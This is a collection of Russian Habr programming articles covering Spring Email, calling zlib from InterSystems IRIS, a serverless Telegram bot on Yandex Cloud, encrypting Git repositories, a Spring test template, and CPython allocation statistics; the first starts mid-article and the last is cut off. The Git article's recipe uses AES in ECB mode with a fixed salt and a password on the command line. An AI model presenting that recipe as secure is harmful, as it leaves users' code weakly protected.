Для удобства использования библиотеки Jakarta Mail в Spring-приложениях была разработана библиотека Spring Email, которая по сути является фасадом к API Jakarta Mail.
Все классы библиотеки находятся в пакете `org.springframework.mail`, который можно подтянуть с помощью зависимости `spring-boot-starter-mail`.
В большинстве Java-приложений не требуется читать письма с почтового сервера, чаще всего необходимо только рассылать электронную почту (например для подтверждения регистрации в вашем веб-приложении или для рассылки уведомлений). В связи с этим Spring Email предоставляет API только для отправки писем.
*Интересный факт* — в разработке Spring Mail принимал участие наш земляк — [Дмитрий Копыленко](https://twitter.com/dima767).

Библиотека Spring Email предоставляет ряд классов и интерфейсов, которые хорошо вписываются в общую концепцию фреймворка. Все что нужно для отправки электронного сообщения из вашего кода, это заинжектить бин отправителя и передать ему письмо с помощью метода `send()`.
В библиотеке выделяются два вида писем: простые и MIME-письма. Простые не могут содержать в своем теле ничего кроме текста, MIME-письма могут содержать в теле html-верстку, изображения и иметь вложения.
### Отправка простых писем
Простые письма представлены классом `SimpleMailMessage`. Этот класс полностью независим от сущностей библиотеки Jakarta Mail — все его методы принимают примитивы и объекты стандартной библиотеки Java.
```
final SimpleMailMessage simpleMail = new SimpleMailMessage();
simpleMail.setFrom("artem.boiar@yandex.ru");
simpleMail.setTo("yegor.bugaenko@huawei.com");
simpleMail.setSubject("Java 20 new hot features");
simpleMail.setText("Java 20 new hot features. No attachments :(");
```
Отправить созданное письмо можно с помощью бина интерфейса `MailSender`.
```
this.mailSender.send(simpleMail);
```
### Отправка MIME-писем
Для работы с MIME-письмами используется класс `MimeMessage` из Jakarta Mail. Для тех случаев, когда требуется одинаковый интерфейс для работы с простыми и MIME-письмами существует класс адаптер `MimeMailMessage`, который как и `SimpleMailMessage` реализует интерфейс `MailMessage`.
Для создания объектов `MimeMessage` в библиотеке есть класс-помощник — `MimeMessageHelper`. Этот класс предоставляет удобный фасад для работы с телом письма, его
мультимедийными вставками и вложениями. Пользоваться им очень просто: достаточно обернуть в него объект MIME-письма и задать все необходимые параметры:
```
final MimeMessage mimeMessage = this.mailSender.createMimeMessage();
final MimeMessageHelper messageHelper = new MimeMessageHelper(mimeMessage, true);
messageHelper.setFrom("artem.boiar@yandex.ru");
messageHelper.setTo("artyom.boyarshinov@cosysoft.ru");
messageHelper.setSubject("Java 20 new hot features");
messageHelper.setText("Java 20 new hot features. Look at the attachment.\nAlso look at my great cat!");
messageHelper.addInline("", FileUtils.getImage());
messageHelper.addAttachment("java-new-features.txt", FileUtils.getFile());
```
Таким образом `MimeMessageHelper` избавляет разработчика от необходимости создания `BodyPart`, и их сборки в `Multipart`, предоставляя удобное линейное API.
Для отправки MIME-писем используется бин интерфейса `JavaMailSender`:
```
this.javaMailSender.send(mimeMessage);
```
Помимо всего прочего в Spring Email существует callback-интерфейс для создания MIME-писем — `MimeMessagePreparator`. Этот интерфейс является функциональным и может быть заменен лямбдой `Consumer`, принимающей `MimeMessage`.
```
final MimeMessagePreparator preparator = mimeMessage -> {
final MimeMessageHelper messageHelper = new MimeMessageHelper(mimeMessage, true);
messageHelper.setFrom("artem.boiar@yandex.ru");
messageHelper.setTo("vlad.mihalcea@hibernate.com");
messageHelper.setSubject("Java 20 new hot features");
messageHelper.setText("Java 20 new hot features. Look at the attachment");
messageHelper.addAttachment("java-new-features.txt", FileUtils.getFile());
};
```
### Обработка исключений
В отличие от Jakarta Mail, все методы Spring Email бросают непроверяемые исключения.
Эти исключения являются runtime обертками над проверяемыми исключениями Jakarta Mail.
Особый интерес представляет исключение `MailSendException`. Оно позволяет извлечь конкретные письма, при отправке которых были инициированы исключения, с помощью метода `getFailedMessages()`:
```
catch (MailSendException exc) {
Map exceptionsByMails = exc.getFailedMessages();
//...
}
```
### Настройка Spring Mail
Spring Email предоставляет удобный способ настройки соединения с SMTP сервером посредством обычного `application.properties` / `application.yml` -файла. Это упрощает настройку отправителя электронных писем, так как бин `JavaMailSenderImpl` конфигурируется самостоятельно при поднятии контекста.
```
spring:
mail:
protocol: smtps
host: smtp.yandex.ru
port: 465
username: artem.boiar
password: passw0rd
```
---
Список источников и полезных ресурсов
-------------------------------------
#### 1 часть
* В. Олифер, Н. Олифер. Компьютерные сети.
* Википедия. [Электронная почта](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D1%87%D1%82%D0%B0).
* Хабр. [Протоколы верхнего уровня](https://habr.com/ru/post/307714/).
#### 2 часть
* [Официальная документация](https://eclipse-ee4j.github.io/mail/) на Jakarta Mail.
* [Github репозиторий](https://github.com/eclipse-ee4j/mail) Jakarta Mail.
* [Настройки почтовых серверов](https://javaee.github.io/javamail/docs/api/overview-summary.html).
* Книга Eliote Rusty Harold. JavaMail API — 2013.
#### 3 часть
* [Официальная документация](https://docs.spring.io/spring/docs/5.1.18.BUILD-SNAPSHOT/spring-framework-reference/integration.html#mail) на Spring Email.
* [Гайд по Spring Email](https://www.baeldung.com/spring-email) на Baeldung.
* [Видеоурок по отправке писем с помощью Spring Email](https://www.youtube.com/watch?v=yBXs_gtSmUc&t=1s&ab_channel=letsCode). | https://habr.com/ru/post/526162/ | null | ru | null |
# Вызываем код на Java, C, NodeJS, C#, Python из InterSystems IRIS
Введение
========
Одно из ключевых направлений развития платформы данных InterSystems IRIS — открытость. Открытость во взаимодействии с языками программирования, технологиями и протоколами. Поддержка языков программирования двусторонняя — возможен как вызов кода из InterSystems IRIS, так и предоставляется API для работы с InterSystems IRIS извне. В этой статье речь пойдёт о первом варианте — вызове кода из InterSystems IRIS. Целью этого небольшого повествования является демонстрация того, как просто и удобно можно это сделать. Я не буду сравнивать различные языки программирования (хотя в конце есть таблица по скорости работы различных имплементаций), всё зависит от решаемых вами задач и требований, предъявляемых к результату разработки. В этой статье я продемонстрирую несколько различных подходов к вызовам сторонних библиотек, а реализовывать мы будем одну и ту же функциональность — вызов функции DELFATE из [библиотеки zlib](https://zlib.net/).
NodeJS
======
Недавно я прочитал вот [эту статью](https://community.intersystems.com/post/story-support-how-quest-raw-deflate-compressiondecompression-function-leads-node-callout-server). Речь там идет как раз о вызове функции DELFATE на NodeJS из платформы InterSystems IRIS, и эта статья натолкнула меня на мысль описать вызов кода и на других языках.
Итак, начнем с NodeJS. Я беру код почти целиком из статьи Бернда, за исключением того, что в нем не используются файлы, а прямое http-соединение для передачи данных. В целом лучше передавать данные в теле запроса, и кодировать как запрос, так и ответ в виде base64. Тем не менее, вот [код](https://github.com/intersystems-ru/zlibisc/blob/master/node/zlibserver.js):
```
//zlibserver.js
const express = require('express');
const zlib = require('zlib');
var app = express();
app.get('/zlibapi/:text', function(req, res) {
res.type('application/json');
var text=req.params.text;
try {
zlib.deflate(text, (err, buffer) => {
if (!err) {
res.status(200).send(buffer.toString('binary'));
} else {
res.status(500).json( { "error" : err.message});
// handle error
}
});
}
catch(err) {
res.status(500).json({ "error" : err.message});
return;
}
});
app.listen(3000, function(){
console.log("zlibserver started");
});
```
Чтобы запустить сервер, выполните в терминале ОС (должны быть установлены `node` и `npm`):
```
cd \node
npm install
node ./zlibserver.js
```
Что здесь происходит? Слушаем порт `3000`, сжимаем DEFLATE тело запроса и возвращаем сжатые данные в ответ. На стороне InterSystems IRIS используется [http запрос](https://irisdocs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=GNET_http) для взаимодействия с данным API:
```
/// NodeJS implementation
/// do ##class(isc.zlib.Test).node()
ClassMethod node(text As %String = "Hello World", Output response As %String) As %Status
{
kill response
set req = ##class(%Net.HttpRequest).%New()
set req.Server = "localhost"
set req.Port = 3000
set req.Location = "/zlibapi/" _ text
set sc = req.Get(,,$$$NO)
quit:$$$ISERR(sc) sc
set response = req.HttpResponse.Data.Read($$$MaxStringLength)
quit sc
}
```
Обратите внимание, что я устанавливаю третий аргумент `set sc = req.Get(,,$$$NO)` — `reset` равным нулю. Если вы пишете интерфейс для внешнего http(s) сервера, то лучше всего повторно использовать один объект запроса и просто модифицировать его по мере необходимости для выполнения новых запросов.
Java
====
[Java Gateway](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=EJVG) позволяет вызывать произвольный Java-код. Недавно я писал про него [более подробно](https://habr.com/ru/company/intersystems/blog/522230/). Стандартная библиотека Java включает класс `Deflater`, который делает именно то, что нам нужно:
```
package isc.zlib;
import java.util.Arrays;
import java.util.zip.Deflater;
public abstract class Java {
public static byte[] compress(String inputString) {
byte[] output = new byte[inputString.length()*3];
try {
// Encode a String into bytes
byte[] input = inputString.getBytes("UTF-8");
// Compress the bytes
Deflater compresser = new Deflater();
compresser.setInput(input);
compresser.finish();
int compressedDataLength = compresser.deflate(output);
compresser.end();
output = Arrays.copyOfRange(output, 0, compressedDataLength);
} catch (java.io.UnsupportedEncodingException ex) {
// handle
}
return output;
}
}
```
Особенность этой имплементации заключается в том, что она возвращает массив `byte[]`, который становится потоком на стороне InterSystems IRIS. Я пытался вернуть строку, но не смог найти, как сформировать бинарную строку из `byte[]`. Если у вас есть какие-то идеи, пожалуйста, оставьте комментарий.
Чтобы запустить код, поместите jar из [релизов](https://github.com/intersystems-ru/zlibisc/releases) в папку `/bin`, загрузите код в свой инстанс InterSystems IRIS и выполните:
```
write $System.Status.GetErrorText(##class(isc.zlib.Utils).createGateway())
write $System.Status.GetErrorText(##class(isc.zlib.Utils).updateJar())
```
Проверьте метод `createGateway` перед запуском. Второй аргумент `javaHome` предполагает что переменная окружения `JAVA_HOME` установлена. Если это не так, вручную передайте путь до Java 1.8 JRE. Для сжатия строки `text` выполните этот код:
```
set gateway = ##class(isc.zlib.Utils).connect()
set response = ##class(isc.zlib.Java).compress(gateway, text)
```
C
=
Библиотека InterSystems [Callout](https://irisdocs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=BGCL_library) это динамическая библиотека, предоставляющая функции, которые вы можете вызвать из InterSystems IRIS.
Вот наша библиотека:
```
#define ZF_DLL
// Ugly Windows hack
#ifndef ulong
typedef unsigned long ulong;
#endif
#include "string.h"
#include "stdio.h"
#include "stdlib.h"
#include "zlib.h"
#include
int Compress(char\* istream, CACHE\_EXSTRP retval)
{
ulong srcLen = strlen(istream)+1; // +1 for the trailing `\0`
ulong destLen = compressBound(srcLen); // estimate size needed for the buffer
char\* ostream = malloc(destLen);
int res = compress(ostream, &destLen, istream, srcLen);
CACHEEXSTRKILL(retval);
if (!CACHEEXSTRNEW(retval,destLen)) {return ZF\_FAILURE;}
memcpy(retval->str.ch,ostream,destLen); // copy to retval->str.ch
return ZF\_SUCCESS;
}
ZFBEGIN
ZFENTRY("Compress","cJ",Compress)
ZFEND
```
Для запуска загрузите `dll` или `so` со страницы [релизов](https://github.com/intersystems-ru/zlibisc/releases) в папку `/bin`. В репозитории есть также скрипты для сборки вашей собственной версии библиотеки.
Перед сборкой установите:
* Linux: `apt install build-essential zlib1g zlib1g-devel`
* Windows: [WinBuilds](http://win-builds.org/doku.php)
Для работы с Callout библиотекой выполните:
```
set path = ##class(isc.zlib.Test).getLibPath() //get path to library file
set response = $ZF(-3, path, "Compress", text) // execute function
do $ZF(-3, "") //unload library
```
Python
======
Используя [Python Gateway](https://habr.com/ru/company/intersystems/blog/486984/) вызовем данный код:
```
import zlib
zlib.compress(b'text')
```
Из InterSystems IRIS: `set out = ##class(isc.py.Callout).SimpleString("import zlib" _ $$$NL _ "x = zlib.compress(b'" _ text _ "')", "x")`
C
=
[Net Gateway](https://irisdocs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=BGNT) позволяет вызывать произвольный код на языке C#. Недавно я писал про него [более подробно](https://habr.com/ru/company/intersystems/blog/522230/).
Реализация на C# также возвращает поток, а не строку:
```
using System;
using System.IO;
using System.IO.Compression;
namespace isc.zlib
{
public class Net
{
public static byte[] compress(String str)
{
using (MemoryStream output = new MemoryStream())
{
using (DeflateStream gzip = new DeflateStream(output, CompressionMode.Compress))
{
using (StreamWriter writer = new StreamWriter(gzip, System.Text.Encoding.UTF8))
{
writer.Write(str);
}
}
return output.ToArray();
}
}
}
}
```
Для запуска загрузите `zlibnet.dll` со страницы [релизов](https://github.com/intersystems-ru/zlibisc/releases) в папку `/bin`.
```
write $System.Status.GetErrorText(##class(isc.zlib.Utils).createNetGateway())
write $System.Status.GetErrorText(##class(isc.zlib.Utils).updateNet())
```
Для сжатия строки `text` выполните этот код:
```
set gateway = ##class(isc.zlib.Utils).connect()
set response = ##class(isc.zlib.Net).compress(gateway, text)
```
InterSystems ObjectScript
=========================
Несколько неожиданно в статье о механизмах вызова кода на других языках, но в ObjectScript также есть встроенная функция [Compress](https://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25SYSTEM.Util#METHOD_Compress) (и парная функция Decompress). Вызывается так: `set response = $extract($SYSTEM.Util.Compress(text), 2, *-1)`
Помните, что поиск в документации или вопрос на [Developers Community](https://community.intersystems.com/) может сэкономить вам некоторое время.
Сравнение
=========
Я запустил простой тест (1Kb text, 1 000 000 итераций) на Linux (VPS) и Windows (Ноутбук) и получил следующие результаты.
Windows:
| Метод | С | ObjectScript | Python | Java | NodeJS | С# |
| --- | --- | --- | --- | --- | --- | --- |
| Время | 22,77 | 33,41 | 91,52 | 152,73 | 622,51 | 216,43 |
| Скорость (Kb/s) | 43912 | 29927 | 10670 | 6547 | 1606 | 4512 |
| Разница, % | -/- | 46,73 | 401,93 | 570,75 | 2633,90 | 950,5 |
Linux:
| Метод | C | ObjectScript | Python | Java | NodeJS |
| --- | --- | --- | --- | --- | --- |
| Время | 76,3541 | 76,499 | 283,84 | 147,2436 | 953,7311 |
| Скорость (Kb/s) | 13097 | 13072 | 3440 | 6791 | 1049 |
| Разница, % | -/- | 0,19 | 371 | 92,84 | 1149,09% |
Для запуска тестов загрузите код и вызовите: `do ##class(isc.zlib.Test).test(textLength, iterations)`
Заключение
==========
С платформой InterSystems IRIS вы легко можете использовать существующий код на ряде популярных языков. Однако выбор реализации не всегда прост: необходимо учитывать несколько метрик, таких как скорость разработки, производительность, кроссплатформенность и простота сопровождения. Ответы на эти вопросы помогут вам определиться с оптимальным планом разработки.
Ссылки
======
* [Репозиторий](https://github.com/intersystems-ru/zlibisc/)
* [Бинарники](https://github.com/intersystems-ru/zlibisc/releases)
* [Http запросы](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=GNET_http)
* [Java Gateway](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=EJVG)
* [Net Gateway](https://irisdocs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=BGNT)
* [Библиотеки Callout](https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=BGCL_library)
* [Compress](https://docs.intersystems.com/irislatest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25SYSTEM.Util#METHOD_Compress) | https://habr.com/ru/post/536940/ | null | ru | null |
# Прыжок до небес: запускаем телеграм бота на Python в serverless облаке
Одним из современных архитектурных подходов в области облачных вычислений является так называемый ***Serverless*.** Этот способ запуска приложений в облаке освобождает разработчиков от нужды администрировать сервер и заботиться о чем-то, кроме кода.
Очевидно, что для такой задачи, как телеграм бот, этот подход очень удобен.
В этой статье описаны все шаги для запуска бота в ***Yandex.Cloud Functions***. Опоры на код я не делаю. Наша основная задача сейчас - настроить запуск в облаке.
Создадим бота
-------------
Чтобы создать телеграмм бота, нужно воспользоваться [@BotFather](https://t.me/BotFather). Для этого используйте команду `/new_bot`. Скопируйте токен (*он будет там, где оранжевая полоса*)
Настройка Yandex.Cloud
----------------------
Для работы с Яндекс.Облаком перейдите на сайт [https://cloud.yandex.ru/](http://cloud.yandex.ru/) и войдите в свой аккаунт. Если вы все сделали правильно, вы увидите рабочий дашборд.
### Cloud Functions
* Перейдите в раздел Cloud Functions
* Создайте новую функцию c названием, например, `python-tg-bot`.
* Укажите язык ***python*** и выберите самую последнюю версию *(python3.8 на момент написания этой статьи).*
* В настройках функции загрузите код бота. Скачать архив можно по [ссылке](https://github.com/otter18/serverless-tg-bot/raw/main/source.zip). Параметры укажите как на картинке. В переменные окружения добавьте поле `BOT_TOKEN` и вставьте токен, полученный в самом начале. После обязательно нажмите ***Создать версию***, чтобы запустить функцию.
* Запомним идентификатор функции (первая строка)
### API-Gateway
Чтобы мы смогли получить доступ к нашей функции, нужно настроить API-Gateway.
* Перейдите в раздел ***API-Gateway***
* Создайте новый шлюз и настройте его. Скопируйте конфигурацию и замените `YOUR_FUNCTION_ID` на идентификатор функции, полученный ранее.
```
openapi: 3.0.0
info:
title: for-python-tg-bot
version: 1.0.0
paths:
/:
post:
x-yc-apigateway-integration:
type: cloud-functions
function_id: YOUR_FUNCTION_ID
operationId: tg-webhook-function
```
* Запомним ссылку, по которой можно вызвать нашу функцию
Устанавливаем webhook
---------------------
Теперь нужно сообщить телеграму, куда отправлять информацию о новых сообщениях.
Для этого:
* Установите библиотеку `pip install pyTelegramBotAPI`
* Запустите питоновский скрипт:
```
import telebot
bot = telebot.TeleBot("YOUR_TOKEN")
bot.remove_webhook()
bot.set_webhook("YOUR_URL")
```
Тестируем
---------
Сделали "эхо-бота". Что дальше?
-------------------------------
Как говорилось в начале, такой способ запустить бота очень легок для разработчика, но что же делать, если нам нужна база данных или сложные api-запросы к другим ресурсам. Все это можно реализовать в Yandex.Cloud. Например, с помощью сервисов ***Yandex Database*** (тоже serverless) или ***Object Storage***. Отдельные сервисы можно запустить, как отдельные функции. В следующей статье, я расскажу о том, как подключить базу данных ***Yandex Database*** к боту***.***
Именно возможность создавать все по кусочкам и уверенность в том, что однажды настроенный модуль будет работать всегда, отличает ***serverless*** подход от простого *"давайте свалим все в одну виртуальную машину".*
Тарифы Yandex.Cloud
-------------------
> До октября 2021 года на сервисы экосистемы бессерверных вычислений будут действовать специальные тарифы. В рамках этих тарифов определенный объем услуг не будет тарифицироваться. Объем рассчитан так, чтобы у вас была возможность разработать и запустить небольшой сервис, сайт или приложение.
>
>
* **Yandex API Gateway**
Каждый месяц не тарифицируются первые 100 000 запросов к API-шлюзам.
* **Yandex Cloud Functions**
Каждый месяц не тарифицируются:
+ первые 1 000 000 вызовов функций;

+ первые 10 ГБ×час выполнения функций.
* **Бессерверный режим Yandex Database**
Каждый месяц не тарифицируются:
+ первые 1 000 000 операций (в единицах RU);
+ первый 1 ГБ/месяц хранения данных.
Полезные ссылки
---------------
1. [Репозиторий с кодом бота](https://github.com/otter18/serverless-tg-bot)
2. [Yandex.Cloud](https://cloud.yandex.ru/%20)
3. [Описание тарифа free tier](https://cloud.yandex.ru/docs/billing/concepts/serverless-free-tier) | https://habr.com/ru/post/550456/ | null | ru | null |
# Нюансы шифрования в Git
Если вы захотели воспользоваться публичным ресурсом вроде GitHub или GoogleDrive для хранения своего репозитория, но при этом не готовы делиться со всем миром результатами своего труда, то вам поможет шифрование файлов в гит-репозитории. Это не сверхсекретная технология и на эту тему есть некоторое количество небольших статей в интернете (и даже на Хабре), но все они являются вариацией куска документации git посвященного атрибутам и тему совершенно не раскрывают. Кроме этого, в процессе использования git в этом режиме появляются ньюансы использования, которые не всегда легко понять и решить и которые я в этой статье постараюсь осветить.
#### Окружение
Изначально предполагается наличие шифрующего софта на компьютере. Естественный выбор использовать openssl. В линуксе он есть по умолчанию. В windows он идет в комплекте с mingw в инсталяции git для windows. Единственное о чем нам надо позаботиться под Windows, чтоб папка в которой openssl находится (например «C:\Program Files\Git\mingw64\bin\») оказалась в переменной среды PATH. Тогда нам не придется создавать дополнительные утилиты (как это рекомендуется в статьях про шифрование в гите) и вся конфигурация намного проще.
#### Настройка git
Теперь займемся магией создания аттрибутов в git. Для начала мы должны разобраться с тем, что именно мы хотит шифровать в дереве. Если вы матерый параноик, вроде меня, то вы решите шифровать всё. Создадим файл в корне пустого репозитория .gitattributes:
`* filter=openssl diff=openssl
.git* !filter !diff
init.txt !filter !diff`
Если вы не настолько параноидальны, можете заменить вилдкард на \*.java или \*.cpp по вкусу.
Зачем init.txt? Сделаем небольшую памятку для себя, чтобы в случае клонирования репозитория не приходилось судорожно искать инструкцию в интернете. **Кроме того, её можно весьма успешно использовать как шеловский скрипт** для инициализации криптования в свежесклонированной копии.
Теперь создадим упомянутый файл init.txt:
```
#This is protected repository. To initialize it you need:
#
# git clone -n https://github.com/
# git checkout tags/init
# Then execute in shell:
# . init.txt
[ -z "$1" ] && echo "Argument required: " && return
git config filter.openssl.clean "openssl enc -base64 -aes-256-ecb -S 123456789 -k $1"
git config filter.openssl.smudge "openssl enc -d -base64 -aes-256-ecb -k $1"
git config diff.openssl.textconv "openssl enc -d -base64 -aes-256-ecb -k $1 2&>/dev/null || cat"
git checkout master
```
Убедившись в том, что git и openssl доступны в путях мы запускаем файл как и показано в комментарии (Если вы находитесь в Windows это надо запускать из git-bash).
`. init.txt my_repo_pass`
Или же просто руками запускаем 3 команды git config из этого файла заменив $1 в строке на пароль для репозитория.
Теперь добавим это всё в репозитарий:
`git add .
git commit -m "protection initialization"
git push
git tag init
git push --tags`
Вуаля, у нас всё готово к работе. Теперь мы можем добавлять новые файлы и они будут автоматически криптоваться.
#### Интеграция с Intelij
Теперь самое интересное. Если вы создадите закриптованный java проект на github и начнете с ним работать вы очень скоро заметите, что гитовый плагин в IDE упорно не хочет сравнивать файлы с предыдущими версиями. Это происходит из-за того, что intelij подтягивает предыдущие версии файла из репозитория с помощью команды **git show**. А теперь внимание: команды **git show** и **git format-patch** не используют фильтры по-умолчанию. Для этого необходимо им указывать опцию --textconv. Заставить это делать сам гитовский плагин я не смог, поэтому я сделал маленький враппер для git и указал его в настройках. Он автоматически добавляет эту опцию для команду show.
#### git4idea.bat
`@echo off
set ARGS=%*
"C:\Program Files\Git\bin\git.exe" %ARGS: show = show --textconv %`
Вариант для линукса (к сожалению не проверялось):
`#!/bin/bash
export ARGS="$*"
git "${ARGS/ show / show --textconv }"`
Теперь, надеюсь, тема раскрыта. | https://habr.com/ru/post/340076/ | null | ru | null |
# Готовый шаблон для тестирования с использованием Spring
Представляю вам — готовый шаблон для тестирования с использованием Spring.
---------------------------------------------------------------------------
### Введение
Цель этой статьи показать, что писать автотесты со Spring проще нежели на чистой Java.
Так же хочу продемонстрировать, насколько Java + Spring упрощает жизнь тестировщикам.
### Для кого эта статья
Если у вас стоит необходимость поддержки нескольких профайлов (пр. WEB и MOBILE, COM и RU) — то Spring, как раз для вас.
Данный шаблон будет интересен тем кто хочет поднять/создать свою реализацию, но не знает с чего начать.
### тезисы
### @ Autowired — Автоматическое связывание
byName–ищет компонент в контейнере, чье имя (или идентификатор) совпадает с именем связываемого свойства. Если соответствующий компонент не найден, свойство останется несвязанным.
byType–ищет единственный компонент в контейнере, чей тип соответствует типу связываемого свойства. Если соответствующий компонент не найден, свойство не будет связано.
constructor–ищет конструктор компонента, куда выполняется внедрение, с компонентами, чьи типы совпадают с аргументами конструктора.
autodetect–сначала пытается выполнить автоматическое связывание через конструктор, а затем по типу
### Что вы получите посте прочтения
После прочтения у вас будет представление о том, как реализовать свой шаблон на Java + Spring.
### Что необходимо установить.
* Java 11.
* maven-3.6.1 и старше.
### Приимущества Spring
Spring достаточно популярен, если у вас в автоматизации появится Spring — разработчики конечно скажут вам спасибо.
Я думаю, что Spring в тестировании встречается достаточно редко, т.к. задачи по автоматизации никто не отменял, а времени на развитие, как правило не так много или его совсем нет.
в Spring есть много различных проектов, один из них это Spring Boot — который позволяет конфигурировать Spring автоматически и многие вещи происходят под капотом, написав 3-и строчки мы получаем готовый проект.
#### Что входит в проект
[Cucumber](https://cucumber.io/) – это пожалуй один из самых популярных фреймворк для автоматизированного тестирования реализующий [behavior-driven development](https://en.wikipedia.org/wiki/Behavior-driven_development) подход.
[selenide](https://ru.selenide.org/) — это вспомогательный фреймворк для написания изящных UI тестов на основе selenium.
[WebDriverManager](https://github.com/bonigarcia/webdrivermanager/blob/master/README.md) — который берет на себя всю грязную работу по
добавлению переменных для проекта System.setProperty("webdriver.browser.driver", "/path\_to\_driver/driver");
[lombok](https://projectlombok.org/) — java либа, которая автоматически генерит методы типо tostring, getter, setter.
Spring jdbc — упрощает получение доступа к реляционным BD и облегчает работу с SQL.
#### Скачиваем проект
<https://github.com/andewBr/seleniumWithSpring>
для запуска проекта необходимо указать в строке VM OPTIONS:
запуска из idea
```
-Dspring.profiles.active=dev-andrew
```
запуск всех сценариев, из консоли
```
clean test -Dspring.profiles.active=dev-andrew
```
запуск по тега @your\_tag\_name, из консоли
```
mvn clean test -Dcucumber.options="--tags @[your_tag_name]" -Dspring.profiles.active=dev-andrew
```

структура пакетов и классов
----------------------------
### package (config) — конфигурация проекта.
#### class WebdriverBeanConfig — самый главный класс, происходит инициализация WebDriver.

#### class DBBeanConfig — класс в котором мы создаем bean для работы с BD, сообщаем Spring где брать dataSource

#### class PropertiesConfig — класс для работы с данными в древовидном виде
```
можно искать элемент и так
// @Value("${habr.url}")
// private String url;
но так мне нравиться больше))
@Autowired
private PropertiesConfig property;
property.getWeb().getBaseurl();
```

### package (page) — пакет для хранения локаторов,web элементы — (как написано в head first java «программируйте на уровне интерфейса.») чем мы и займемся в дальнейшем)
#### interface Page — метод Map getElements();

все остальные классы находящиеся в данном пакете, возвращают MAP<ключ, сам элемент>

### package (service)
#### CommanService — класс для работы с SelenideElement в котором мы реализуем работу со страницей

класс BasePageService наследуем от класса CommonService и обрабатываем элементы.

### package step — работа с feature файлами

#### resources.features -> сами features файлы
 | https://habr.com/ru/post/484966/ | null | ru | null |
# Сколько объектов выделяет Python, выполняя скрипты?
Некоторые Python программисты сильно удивляются, когда узнают сколько временных объектов интерпретатор питона выделяет во время работы простого скрипта.
CPython позволяет получить статистику по выделяемым объектам, для этого его нужно скомпилировать с дополнительными флагами.
```
./configure CFLAGS='-DCOUNT_ALLOCS' --with-pydebug
make -s -j2
```
После компиляции, мы можем открыть интерактивный REPL и проверить статистику:
```
>>> import sys
>>> sys.getcounts()
[('iterator', 7, 7, 4), ('functools._lru_cache_wrapper', 1, 0, 1), ('re.Match', 2, 2, 1),
('re.Pattern', 3, 2, 1), ('SubPattern', 10, 10, 8), ('Pattern', 3, 3, 1),
('IndexError', 4, 4, 1), ('Tokenizer', 3, 3, 1), ('odict_keys', 1, 1, 1),
('odict_iterator', 18, 18, 1), ('odict_items', 17, 17, 1), ('RegexFlag', 18, 8, 10),
('operator.itemgetter', 4, 0, 4), ('PyCapsule', 1, 1, 1), ('Repr', 1, 0, 1),
('_NamedIntConstant', 74, 0, 74), ('collections.OrderedDict', 5, 0, 5),
('EnumMeta', 5, 0, 5), ('DynamicClassAttribute', 2, 0, 2), ('_EnumDict', 5, 5, 1),
('TypeError', 1, 1, 1), ('method-wrapper', 365, 365, 2), ('_C', 1, 1, 1),
('symtable entry', 5, 5, 2), ('OSError', 1, 1, 1), ('Completer', 1, 0, 1),
('ExtensionFileLoader', 2, 0, 2), ('ModuleNotFoundError', 2, 2, 1),
('_Helper', 1, 0, 1), ('_Printer', 3, 0, 3), ('Quitter', 2, 0, 2),
('enumerate', 5, 5, 1), ('_io.IncrementalNewlineDecoder', 1, 1, 1),
('map', 25, 25, 1), ('_Environ', 2, 0, 2), ('async_generator', 2, 1, 1),
('coroutine', 2, 2, 1), ('zip', 1, 1, 1), ('longrange_iterator', 1, 1, 1),
('range_iterator', 7, 7, 1), ('range', 14, 14, 2), ('list_reverseiterator', 2, 2, 1),
('dict_valueiterator', 1, 1, 1), ('dict_values', 2, 2, 1), ('dict_keyiterator', 25, 25, 1),
('dict_keys', 5, 5, 1), ('bytearray_iterator', 1, 1, 1), ('bytearray', 4, 4, 1),
('bytes_iterator', 2, 2, 1), ('IncrementalEncoder', 2, 0, 2), ('_io.BufferedWriter', 2, 0, 2),
('IncrementalDecoder', 2, 1, 2), ('_io.TextIOWrapper', 4, 1, 4), ('_io.BufferedReader', 2, 1, 2),
('_abc_data', 39, 0, 39), ('mappingproxy', 199, 199, 1), ('ABCMeta', 39, 0, 39),
('CodecInfo', 1, 0, 1), ('str_iterator', 7, 7, 1), ('memoryview', 60, 60, 2),
('managedbuffer', 31, 31, 1), ('slice', 589, 589, 1), ('_io.FileIO', 33, 30, 5),
('SourceFileLoader', 29, 0, 29), ('set', 166, 101, 80), ('StopIteration', 33, 33, 1),
('FileFinder', 11, 0, 11), ('os.stat_result', 145, 145, 1), ('ImportError', 2, 2, 1),
('FileNotFoundError', 10, 10, 1), ('ZipImportError', 12, 12, 1), ('zipimport.zipimporter', 12, 12, 1),
('NameError', 4, 4, 1), ('set_iterator', 46, 46, 1), ('frozenset', 50, 0, 50), ('_ImportLockContext', 113, 113, 1),
('list_iterator', 305, 305, 5), ('_thread.lock', 92, 92, 10), ('_ModuleLock', 46, 46, 5), ('KeyError', 67, 67, 2),
('_ModuleLockManager', 46, 46, 5), ('generator', 125, 125, 1), ('_installed_safely', 52, 52, 5),
('method', 1095, 1093, 14), ('ModuleSpec', 58, 4, 54), ('AttributeError', 22, 22, 1),
('traceback', 154, 154, 3), ('dict_itemiterator', 45, 45, 1), ('dict_items', 46, 46, 1),
('object', 8, 1, 7), ('tuple_iterator', 631, 631, 3), ('cell', 71, 31, 42),
('classmethod', 58, 0, 58), ('property', 18, 2, 16), ('super', 360, 360, 1),
('type', 78, 3, 75), ('function', 1705, 785, 922), ('frame', 5442, 5440, 36),
('code', 1280, 276, 1063), ('bytes', 2999, 965, 2154), ('Token.MISSING', 1, 0, 1),
